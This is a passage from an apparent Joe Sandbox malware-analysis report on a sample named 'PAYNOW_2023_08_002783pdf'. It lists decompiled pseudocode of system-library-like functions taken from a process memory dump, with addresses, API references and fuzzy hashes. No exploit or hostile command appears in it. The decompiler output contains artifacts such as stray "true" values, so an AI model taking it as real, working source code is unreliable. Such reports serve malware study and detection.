						_t52 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					}
					if( *_t52 != 0) {
						L33544CD2( *((intOrPtr*)(_t70 + 0x5c)), _a8,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
					}
					_t37 = L33476ECF( *((intOrPtr*)(_t77 + 0xc)));
				}
				return _t37;
			}

0x334756e5
0x334756e8
0x334756eb
0x334756ef
0x334756f2
0x334756f7
0x334756fe
0x334d06a1
0x33475704
0x33475704
0x33475704
0x33475709
0x334d06b9
0x334d06b9
0x33475716
0x3347571d
0x33475726
0x334d06cc
0x3347572c
0x3347572c
0x3347572c
0x33475731
0x334d06e4
0x334d06e4
0x33475744
0x33475749
0x33475750
0x33475756
0x33475762
0x33475768
0x33475771
0x334d06f7
0x334d06f7
0x3347577a
0x334d0711
0x334d0711
0x33475784
0x33475784
0x3347578f

APIs

RtlDebugPrintTimes.NTDLL ref: 33475762

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: ccd1b22c871b33f652453de34ccf5366b94627ea94a2d23e305c3e20c364df17
Instruction ID: f627ed39a89ab69834a3e3dfce0a89b5e0d5c6948d18b96c41abe39a93d8eca8
Opcode Fuzzy Hash: ccd1b22c871b33f652453de34ccf5366b94627ea94a2d23e305c3e20c364df17
Instruction Fuzzy Hash: 8031B039711B05FFE7458B24DA90A89BBA6FF84240F445059EC608BF61DB35F831CB88

Uniqueness

Uniqueness Score: -1.00%

Function 3351E750 Relevance: 1.6, APIs: 1, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E3351E750(intOrPtr __ecx, intOrPtr* __edx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				char _v20;
				intOrPtr _v24;
				char _v25;
				intOrPtr _v28;
				intOrPtr* _v32;
				char _v33;
				char* _t30;
				intOrPtr* _t33;
				void* _t37;
				intOrPtr* _t42;
				intOrPtr* _t43;
				intOrPtr* _t44;
				intOrPtr* _t46;
				char* _t49;
				char _t51;
				char* _t53;
				intOrPtr* _t57;
				intOrPtr* _t60;

				_t30 =  &_v12;
				_v24 = __ecx;
				_t60 = __edx;
				_v8 = _t30;
				_t46 = 0;
				_v16 = __edx;
				_v25 = 0;
				_v12 = _t30;
				L33482330(_t30, 0x33566d4c);
				_t57 =  *0x3356379c; // 0x7749379c
				if(_t57 == 0x3356379c) {
					L10:
					E334824D0(0x33566d4c);
					while(1) {
						_t33 = _v12;
						_t49 =  &_v12;
						if(_t33 == _t49) {
							goto L16;
						}
						if( *((intOrPtr*)(_t33 + 4)) != _t49) {
							goto L15;
						} else {
							_t51 =  *_t33;
							if( *((intOrPtr*)(_t51 + 4)) != _t33) {
								goto L15;
							} else {
								_v12 = _t51;
								 *((intOrPtr*)(_t51 + 4)) =  &_v12;
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
								continue;
							}
						}
						goto L16;
					}
				} else {
					do {
						_t7 = _t57 + 8; // 0x774937a4
						_t37 = _t7;
						_t46 = _t57;
						 *_t37 =  *_t37 + 1;
						_v20 = _t37;
						E334824D0(0x33566d4c);
						 *0x335691e0(_v28, _t60);
						if( *((intOrPtr*)( *((intOrPtr*)(_t57 + 0xc))))() != 0) {
							_v33 = 1;
						}
						L33482330(_t40, 0x33566d4c);
						_t42 = _v32;
						_t57 =  *_t57;
						 *_t42 =  *_t42 - 1;
						if( *_t42 != 0) {
							goto L8;
						} else {
							if( *((intOrPtr*)(_t57 + 4)) != _t46) {
								L15:
								_push("true");
								asm("int 0x29");
							} else {
								_t43 =  *((intOrPtr*)(_t46 + 4));
								if( *_t43 != _t46) {
									goto L15;
								} else {
									 *_t43 = _t57;
									_t53 =  &_v20;
									 *((intOrPtr*)(_t57 + 4)) = _t43;
									_t44 = _v16;
									if( *_t44 != _t53) {
										goto L15;
									} else {
										 *_t46 = _t53;
										 *((intOrPtr*)(_t46 + 4)) = _t44;
										 *_t44 = _t46;
										_v16 = _t46;
										goto L8;
									}
								}
							}
						}
						goto L16;
						L8:
						_t60 = _v24;
					} while (_t57 != 0x3356379c);
					_t46 = _v33;
					goto L10;
				}
				L16:
				return _t46;
			}

0x3351e75e
0x3351e762
0x3351e766
0x3351e768
0x3351e76c
0x3351e76e
0x3351e777
0x3351e77b
0x3351e77f
0x3351e784
0x3351e790
0x3351e80f
0x3351e814
0x3351e819
0x3351e819
0x3351e81d
0x3351e823
0x00000000
0x00000000
0x3351e828
0x00000000
0x3351e82a
0x3351e82a
0x3351e82f
0x00000000
0x3351e831
0x3351e83c
0x3351e842
0x3351e848
0x00000000
0x3351e848
0x3351e82f
0x00000000
0x3351e828
0x3351e792
0x3351e792
0x3351e792
0x3351e792
0x3351e795
0x3351e797
0x3351e79e
0x3351e7a2
0x3351e7b1
0x3351e7bb
0x3351e7bd
0x3351e7bd
0x3351e7c7
0x3351e7cc
0x3351e7d0
0x3351e7d2
0x3351e7d5
0x00000000
0x3351e7d7
0x3351e7da
0x3351e84f
0x3351e84f
0x3351e852
0x3351e7dc
0x3351e7dc
0x3351e7e1
0x00000000
0x3351e7e3
0x3351e7e3
0x3351e7e5
0x3351e7e9
0x3351e7ec
0x3351e7f2
0x00000000
0x3351e7f4
0x3351e7f4
0x3351e7f6
0x3351e7f9
0x3351e7fb
0x00000000
0x3351e7fb
0x3351e7f2
0x3351e7e1
0x3351e7da
0x00000000
0x3351e7ff
0x3351e7ff
0x3351e803
0x3351e80b
0x00000000
0x3351e80b
0x3351e854
0x3351e85c

APIs

RtlDebugPrintTimes.NTDLL ref: 3351E7B1

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 6b810df59c834c4aa2e98c499d23eb52fa62f0972d794fd910c4facf050e4327
Instruction ID: 595117b770282d3d7bea861f1598f6c299d416cec55fa732779eb6a47cd597b3
Opcode Fuzzy Hash: 6b810df59c834c4aa2e98c499d23eb52fa62f0972d794fd910c4facf050e4327
Instruction Fuzzy Hash: F431EEB59053019FDB00CF18E44490ABBF5FF89758F088AAEE4889B262D331DE45CF92

Uniqueness

Uniqueness Score: -1.00%

Function 334FA130 Relevance: 1.5, APIs: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E334FA130(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _t24;
				intOrPtr* _t31;

				_t24 =  *( *[fs:0x30] + 0x68) & 0x02000100;
				if(_t24 != 0x2000000) {
					_t31 =  *0x33565a44; // 0x0
					if(_t31 != 0) {
						 *0x335691e0(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40);
						_t24 =  *_t31();
					}
					return _t24;
				}
				return E334FA1A7(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40);
			}

0x334fa13e
0x334fa148
0x334fa170
0x334fa178
0x334fa19a
0x334fa1a0
0x334fa1a0
0x00000000
0x334fa1a2
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334FA19A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 00135592299e4b217a5aa85e189bf8246eba95c7e9a11dfc5c3b4d1cfefc1261
Instruction ID: b9d2414a0ddb64230a633be7a10bc700ad0291a402170998440c8695db0c93b3
Opcode Fuzzy Hash: 00135592299e4b217a5aa85e189bf8246eba95c7e9a11dfc5c3b4d1cfefc1261
Instruction Fuzzy Hash: 8D015A36511259AFDF02AF84CD40EDA7F66FB4C754F0A8215FE1866220C636D971EF81

Uniqueness

Uniqueness Score: -1.00%

Function 334692AF Relevance: 1.5, APIs: 1, Instructions: 35
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E334692AF(void* __ecx) {
				char _v5;
				void* _t12;
				intOrPtr* _t22;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				_v5 = 0;
				_t22 =  *((intOrPtr*)(__ecx + 0x14));
				if(_t22 != 0) {
					 *0x335691e0("true", __ecx,  *((intOrPtr*)(__ecx + 0x10)),  *((intOrPtr*)(__ecx + 0x18)), 0,  &_v5);
					 *_t22();
				}
				_t12 = E33469303(_t25 + 0x5c);
				if(( *(_t25 + 4) & 0x00000002) == 0) {
					_t12 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t25 - 4);
				}
				return _t12;
			}

0x334692b4
0x334692b6
0x334692b8
0x334692bd
0x334692c2
0x334692d5
0x334692db
0x334692db
0x334692e0
0x334692e9
0x334692fa
0x334692fa
0x33469302

APIs

RtlDebugPrintTimes.NTDLL ref: 334692D5

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 1b8a756c1fac963c4b5125b7a5d3df85d786e3b8c657d6c9c7bc4c54bd998384
Instruction ID: 56d3d80c80cff254e9d91405f6f2056aa564fbcc5b819aafdd179326f355035f
Opcode Fuzzy Hash: 1b8a756c1fac963c4b5125b7a5d3df85d786e3b8c657d6c9c7bc4c54bd998384
Instruction Fuzzy Hash: 09F0FA32200740AFD3319F08CC04F8BBBEDEF84B04F18051DE54693591DAA1E90ACA68

Uniqueness

Uniqueness Score: -1.00%

Function 334F9603 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d569db9bb978c65f5031ed5e6d6890419b772df53155b6cb675d4e22051773ed
Instruction ID: a6e293d7538ebb05ee38ca5a68592cb8f716fc0c7fed66f8d759a2ec1697a91b
Opcode Fuzzy Hash: d569db9bb978c65f5031ed5e6d6890419b772df53155b6cb675d4e22051773ed
Instruction Fuzzy Hash: C7E09B72714204AFEB04DB58D845F4A73ECEB88798F18109DF50AD7290D671DE41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 334F60A0 Relevance: 1.5, Strings: 1, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E334F60A0(void* __ecx, void* __edx, signed int* _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v24;
				signed int _v28;
				short _v32;
				char _v36;
				signed int* _v40;
				short _v44;
				char _v48;
				intOrPtr* _v52;
				signed int _v56;
				char _v60;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t69;
				signed int _t79;
				signed int _t80;
				signed int _t86;
				signed int* _t127;
				signed int _t128;
				signed int _t133;
				void* _t143;
				void* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int _t150;
				signed int _t151;
				signed int _t155;

				_t143 = __edx;
				_v8 =  *0x3356b370 ^ _t155;
				_t127 = _a4;
				 *_t127 = 0;
				_t150 = 0;
				_v36 = 0;
				_v48 = 0;
				_v28 = 0;
				_v64 = 0;
				_v40 = _t127;
				_v32 = 0x500;
				_v44 = 0x100;
				_t69 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x48);
				_v52 = _t69;
				if(_t69 != 0) {
					_t130 =  &_v60;
					_push( &_v60);
					_push(0x48);
					_push(_t69);
					_push("true");
					_push(0xfffffffa);
					_t151 = E334B2BC0();
					__eflags = _t151;
					if(_t151 < 0) {
						L29:
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v52);
						__eflags = _t151;
						if(_t151 >= 0) {
							L32:
							return E334B4B50(_t151, _t127, _v8 ^ _t155, _t143, _t150, _t151);
						}
						L30:
						if( *_t127 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *_t127);
							 *_t127 =  *_t127 & 0x00000000;
						}
						goto L32;
					}
					_v56 = _v56 & 0;
					_push( &_v60);
					_push("true");
					_push( &_v56);
					_push(0x1d);
					_push(0xfffffffa);
					_t79 = E334B2BC0();
					__eflags = _t79;
					if(_t79 < 0) {
						L11:
						_t133 = 0x34;
						__eflags = _t150;
						if(_t150 != 0) {
							_t133 = 0x44 + ( *( *_t150 + 1) & 0x000000ff) * 4;
						}
						_t80 = _v28;
						__eflags = _t80;
						if(_t80 != 0) {
							_t133 = _t133 + ( *(_t80 + 1) & 0x000000ff) * 4 + 0x10;
							__eflags = _t133;
						}
						_t152 = _t133 + (( *( *_v52 + 1) & 0x000000ff) + 0xe) * 4;
						_t86 = L33485D90(_t133,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t133 + (( *( *_v52 + 1) & 0x000000ff) + 0xe) * 4);
						 *_t127 = _t86;
						__eflags = _t86;
						if(_t86 != 0) {
							L33497C20(_t86, _t152, "true");
							E334982F0( &_v24,  &_v36, "true");
							_v16 = 0x12;
							_push(0);
							_push( &_v24);
							_push(0x10000000);
							_push(0);
							_push("true");
							_pop(_t144);
							E3349366E( *_t127, _t144, __eflags);
							E334982F0( &_v24,  &_v36, "true");
							_push(0);
							_push( &_v24);
							_push(0x10000000);
							_push(0);
							_push("true");
							_pop(_t145);
							_v16 = 0x20;
							_v12 = 0x220;
							E3349366E( *_t127, _t145, __eflags);
							__eflags = _t150;
							if(__eflags != 0) {
								_push(0);
								_push( *_t150);
								_push(0x10000000);
								_push(0);
								_push("true");
								_pop(_t149);
								E3349366E( *_t127, _t149, __eflags);
							}
							_t128 = _v28;
							__eflags = _t128;
							if(__eflags == 0) {
								_t154 = _v40;
							} else {
								_push(0);
								_push(_t128);
								_push(0x10000000);
								_push(0);
								_t154 = _v40;
								_push("true");
								_pop(_t148);
								E3349366E( *_v40, _t148, __eflags);
							}
							_push(0);
							_push( *_v52);
							_push(0x10000000);
							_push(0);
							_push("true");
							_pop(_t146);
							E3349366E( *_t154, _t146, __eflags);
							E334982F0( &_v24,  &_v48, "true");
							_push(0);
							_push( &_v24);
							_push(0x80000000);
							_push(0);
							_push("true");
							_v16 = 0;
							_pop(_t147);
							E3349366E( *_t154, _t147, __eflags);
							E334982F0( &_v24,  &_v36, "true");
							_push(0);
							_push( &_v24);
							_push(0x80000000);
							_push(0);
							_push("true");
							_pop(_t143);
							_v16 = 7;
							E3349366E( *_t154, _t143, __eflags);
							_t151 = 0;
							__eflags = 0;
							goto L24;
						} else {
							_t151 = 0xc0000017;
							L17:
							_t128 = _v28;
							L24:
							__eflags = _t150;
							if(_t150 != 0) {
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t150);
								_t128 = _v28;
							}
							__eflags = _t128;
							if(_t128 != 0) {
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t128);
							}
							_t127 = _v40;
							goto L29;
						}
					}
					__eflags = _v56;
					if(_v56 == 0) {
						goto L11;
					}
					_t150 = L33485D90( &_v60,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x48);
					__eflags = _t150;
					if(_t150 != 0) {
						_push( &_v60);
						_push(0x48);
						_push(_t150);
						_push(0x1f);
						_push(0xfffffffa);
						_t151 = E334B2BC0();
						__eflags = _t151;
						if(_t151 < 0) {
							goto L17;
						}
						_t151 = E335064B0( &_v60,  *_t150,  &_v64);
						__eflags = _t151;
						if(_t151 < 0) {
							goto L17;
						}
						__eflags = _v64 - 1;
						if(__eflags != 0) {
							goto L11;
						}
						_t151 = E33506400(_t130, _t143, __eflags,  *_t150,  &_v28);
						__eflags = _t151;
						if(_t151 < 0) {
							goto L17;
						}
						goto L11;
					}
					_t151 = 0xc0000017;
					goto L29;
				}
				_t151 = 0xc0000017;
				goto L30;
			}

0x334f60a0
0x334f60af
0x334f60b3
0x334f60bc
0x334f60be
0x334f60c1
0x334f60c4
0x334f60c7
0x334f60ca
0x334f60d3
0x334f60d6
0x334f60dc
0x334f60e5
0x334f60ea
0x334f60ef
0x334f60fb
0x334f60fe
0x334f60ff
0x334f6101
0x334f6102
0x334f6104
0x334f610b
0x334f610d
0x334f610f
0x334f632c
0x334f633a
0x334f633f
0x334f6341
0x334f635d
0x334f636d
0x334f636d
0x334f6343
0x334f6346
0x334f6355
0x334f635a
0x334f635a
0x00000000
0x334f6346
0x334f6115
0x334f611b
0x334f611c
0x334f6121
0x334f6122
0x334f6124
0x334f6126
0x334f612b
0x334f612d
0x334f6194
0x334f6196
0x334f6197
0x334f6199
0x334f61a1
0x334f61a1
0x334f61a8
0x334f61ab
0x334f61ad
0x334f61b6
0x334f61b6
0x334f61b6
0x334f61c5
0x334f61d4
0x334f61d9
0x334f61db
0x334f61dd
0x334f61f0
0x334f61ff
0x334f620b
0x334f6212
0x334f6213
0x334f6214
0x334f6219
0x334f621a
0x334f621c
0x334f621d
0x334f622c
0x334f6236
0x334f6237
0x334f6238
0x334f623d
0x334f623e
0x334f6240
0x334f6241
0x334f6248
0x334f624f
0x334f6254
0x334f6256
0x334f625a
0x334f625b
0x334f625d
0x334f6262
0x334f6263
0x334f6265
0x334f6266
0x334f6266
0x334f626b
0x334f626e
0x334f6270
0x334f6289
0x334f6272
0x334f6272
0x334f6273
0x334f6274
0x334f6279
0x334f627a
0x334f627d
0x334f627f
0x334f6282
0x334f6282
0x334f6291
0x334f6293
0x334f6295
0x334f629a
0x334f629c
0x334f629e
0x334f629f
0x334f62ae
0x334f62b8
0x334f62b9
0x334f62ba
0x334f62bf
0x334f62c0
0x334f62c2
0x334f62c7
0x334f62c8
0x334f62d7
0x334f62e1
0x334f62e3
0x334f62e4
0x334f62e9
0x334f62eb
0x334f62ed
0x334f62ee
0x334f62f5
0x334f62fa
0x334f62fa
0x00000000
0x334f61df
0x334f61df
0x334f61e4
0x334f61e4
0x334f62fc
0x334f62fc
0x334f62fe
0x334f630c
0x334f6311
0x334f6311
0x334f6314
0x334f6316
0x334f6324
0x334f6324
0x334f6329
0x00000000
0x334f6329
0x334f61dd
0x334f612f
0x334f6132
0x00000000
0x00000000
0x334f6146
0x334f6148
0x334f614a
0x334f6159
0x334f615a
0x334f615c
0x334f615d
0x334f615f
0x334f6166
0x334f6168
0x334f616a
0x00000000
0x00000000
0x334f6177
0x334f6179
0x334f617b
0x00000000
0x00000000
0x334f617d
0x334f6181
0x00000000
0x00000000
0x334f618e
0x334f6190
0x334f6192
0x00000000
0x00000000
0x00000000
0x334f6192
0x334f614c
0x00000000
0x334f614c
0x334f60f1
0x00000000

Strings

, xrefs: 334F6241

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 43138bb4059a58cf60a14b97d38a842053927e347dd42acdd7748922248f1769
Instruction ID: 938bfa796df49ee42f39a17da72f373caedd0ba80fbef3075e59968309970bdb
Opcode Fuzzy Hash: 43138bb4059a58cf60a14b97d38a842053927e347dd42acdd7748922248f1769
Instruction Fuzzy Hash: E7916071A40215AFEB21DF98CD85FAE7BB8EF05750F140069F600AB291DB75AD04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3347965A Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E3347965A(signed int __ecx, intOrPtr* __edx, char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				char _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char* _v76;
				signed int _v80;
				char _v84;
				signed int _t78;
				intOrPtr _t100;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				intOrPtr* _t111;
				intOrPtr* _t112;
				void* _t116;
				intOrPtr _t117;
				intOrPtr* _t118;
				signed int _t119;

				_t118 = __edx;
				_t116 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v24 = 0;
				if(__ecx == 0 || __edx == 0 || _a12 == 0) {
					return 0xc000000d;
				} else {
					if(L3347B920(__ecx, __ecx & 0xfffffffc) == 0) {
						_t119 = 0xc000007b;
						L27:
						if(_v8 != 0) {
							_push(_v8);
							E334B2A80();
							_v8 = _t116;
						}
						if(_v16 != 0) {
							_push(_v16);
							_push(0xffffffff);
							L334B2C50();
						}
						L25:
						return _t119;
					}
					_push("true");
					_pop(_t107);
					_push("true");
					asm("sbb ebx, ebx");
					_pop(_t108);
					_t105 = (_t103 & _t107) + _t108;
					if(_a4 != 0) {
						_v36 =  *__edx;
						_t51 = _t118 + 4; // 0xe02709e0
						_v32 =  *_t51;
						_v20 = 0;
						_v84 = 0x18;
						L33:
						_v80 = _v80 & 0x00000000;
						L10:
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						_t109 =  &_v8;
						_v72 = 0x40;
						_v76 =  &_v36;
						_t78 = E3347929A( &_v8,  &_v84, _v28);
						_t119 = _t78;
						if(_t116 == 0) {
							_t116 = 0;
							L14:
							if(_t119 < 0) {
								goto L27;
							}
							_push(_v8);
							_push(0x8000000);
							_push(_t105);
							_push(_t116);
							_push(_t116);
							_push(0xf0005);
							_push( &_v12);
							_t119 = E334B2E50();
							if(_t119 < 0) {
								goto L27;
							}
							_push(_t105);
							_push(_t116);
							_push("true");
							_v44 = _t116;
							_push( &_v24);
							_v40 = _t116;
							_push( &_v44);
							_push(_t116);
							_push(_t116);
							_push( &_v16);
							_push(0xffffffff);
							_push(_v12);
							_t119 = E334B2C30();
							if(_v12 != 0) {
								_push(_v12);
								E334B2A80();
								_v12 = _t116;
							}
							if(_t119 < 0) {
								goto L27;
							} else {
								if(L3347B920(_t109, _v16) == 0) {
									_t119 = 0xc000007b;
								}
								if(_t119 < 0) {
									goto L27;
								} else {
									 *_a12 = _v16;
									_t111 = _a16;
									if(_t111 != 0) {
										 *_t111 = _v24;
									}
									_t112 = _a8;
									if(_t112 == 0) {
										if(_v8 != 0) {
											_push(_v8);
											E334B2A80();
										}
									} else {
										 *_t112 = _v8;
									}
									goto L25;
								}
							}
						}
						_t117 = _v48;
						if(_t117 != 0) {
							asm("lock xadd [edi], eax");
							if((_t78 | 0xffffffff) != 0) {
								goto L12;
							}
							_push( *((intOrPtr*)(_t117 + 4)));
							E334B2A80();
							_t116 = 0;
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t117);
							L13:
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t116, _v20);
							goto L14;
						}
						L12:
						_t116 = 0;
						goto L13;
					}
					_t9 = _t118 + 4; // 0xe02709e0
					_t119 = L33491C48(_t108,  *_t9,  &_v36, 0,  &_v60);
					if(_t119 < 0) {
						goto L27;
					}
					_t100 = _v60;
					_t116 = _v32;
					_v20 = _t116;
					if(_t100 != 0) {
						_v36 = _t100;
						_v32 = _v56;
						_t102 = _v52;
					} else {
						_t102 = 0;
					}
					_v84 = 0x18;
					if(_t116 == 0) {
						goto L33;
					} else {
						_v80 = _t102;
						goto L10;
					}
				}
			}

0x33479666
0x33479669
0x3347966b
0x3347966e
0x33479671
0x33479674
0x33479677
0x3347967c
0x00000000
0x33479693
0x3347969e
0x334d2696
0x334797e8
0x334797ec
0x334d2719
0x334d271c
0x334d2721
0x334d2721
0x334797f6
0x334d2729
0x334d272c
0x334d272e
0x334d272e
0x334797df
0x00000000
0x334797df
0x334796a4
0x334796a6
0x334796ab
0x334796ad
0x334796b1
0x334796b2
0x334796b8
0x334d26a2
0x334d26a5
0x334d26a8
0x334d26ab
0x334d26ae
0x334d26b5
0x334d26b5
0x334796ff
0x33479702
0x33479709
0x33479710
0x33479713
0x3347971a
0x3347971d
0x33479722
0x33479726
0x334d26fb
0x3347974b
0x3347974d
0x00000000
0x00000000
0x33479753
0x33479759
0x3347975e
0x3347975f
0x33479760
0x33479761
0x33479766
0x3347976c
0x33479770
0x00000000
0x00000000
0x33479772
0x33479773
0x33479774
0x33479779
0x3347977c
0x33479780
0x33479783
0x33479784
0x33479785
0x33479789
0x3347978a
0x3347978c
0x33479798
0x3347979a
0x3347979c
0x3347979f
0x334797a4
0x334797a4
0x334797a9
0x00000000
0x334797ab
0x334797b5
0x334797fd
0x334797fd
0x334797b9
0x00000000
0x334797bb
0x334797c1
0x334797c3
0x334797c8
0x334797cd
0x334797cd
0x334797cf
0x334797d4
0x334d2706
0x334d270c
0x334d270f
0x334d270f
0x334797da
0x334797dd
0x334797dd
0x00000000
0x334797d4
0x334797b9
0x334797a9
0x3347972c
0x33479731
0x334d26d2
0x334d26d6
0x00000000
0x00000000
0x334d26dc
0x334d26df
0x334d26eb
0x334d26f1
0x33479739
0x33479746
0x00000000
0x33479746
0x33479737
0x33479737
0x00000000
0x33479737
0x334796be
0x334796cf
0x334796d3
0x00000000
0x00000000
0x334796d9
0x334796dc
0x334796df
0x334796e5
0x334d26be
0x334d26c4
0x334d26c7
0x334796eb
0x334796eb
0x334796eb
0x334796ed
0x334796f6
0x00000000
0x334796fc
0x334796fc
0x00000000
0x334796fc
0x334796f6

Strings

@, xrefs: 33479713

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: cf001e69a80641a8cc3ed551a73227fc2f86a0353987b9bba849c8e96c1f93c2
Instruction ID: 95918b836ac046ed099291210e62cab45a25d6e7c1c017f0a94da2d58b559ecf
Opcode Fuzzy Hash: cf001e69a80641a8cc3ed551a73227fc2f86a0353987b9bba849c8e96c1f93c2
Instruction Fuzzy Hash: 776108B5D01359EFDF118FA9C840BDEBBB9EF84754F14416AE820B7250DB749A01CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 334802F9 Relevance: 1.4, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E334802F9(void* __ecx, signed char* __edx, signed char* _a4, signed short* _a8) {
				signed int _v8;
				char _v20;
				char _v24;
				signed char* _v28;
				signed short* _v32;
				void* _v36;
				signed char* _v40;
				char _v44;
				intOrPtr _v48;
				signed short _v56;
				signed short _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t73;
				signed char* _t76;
				signed char* _t78;
				intOrPtr _t93;
				void* _t124;
				signed short* _t125;
				signed char* _t131;
				signed char* _t150;
				void* _t153;
				void* _t154;
				signed int _t156;

				_t142 = __edx;
				_t126 = __ecx;
				_v8 =  *0x3356b370 ^ _t156;
				_v40 = _a4;
				_t124 = __ecx;
				_v28 = __edx;
				_v32 = _a8;
				_t73 = L33483C40();
				_t150 = 0x7ffe0384;
				if(_t73 != 0) {
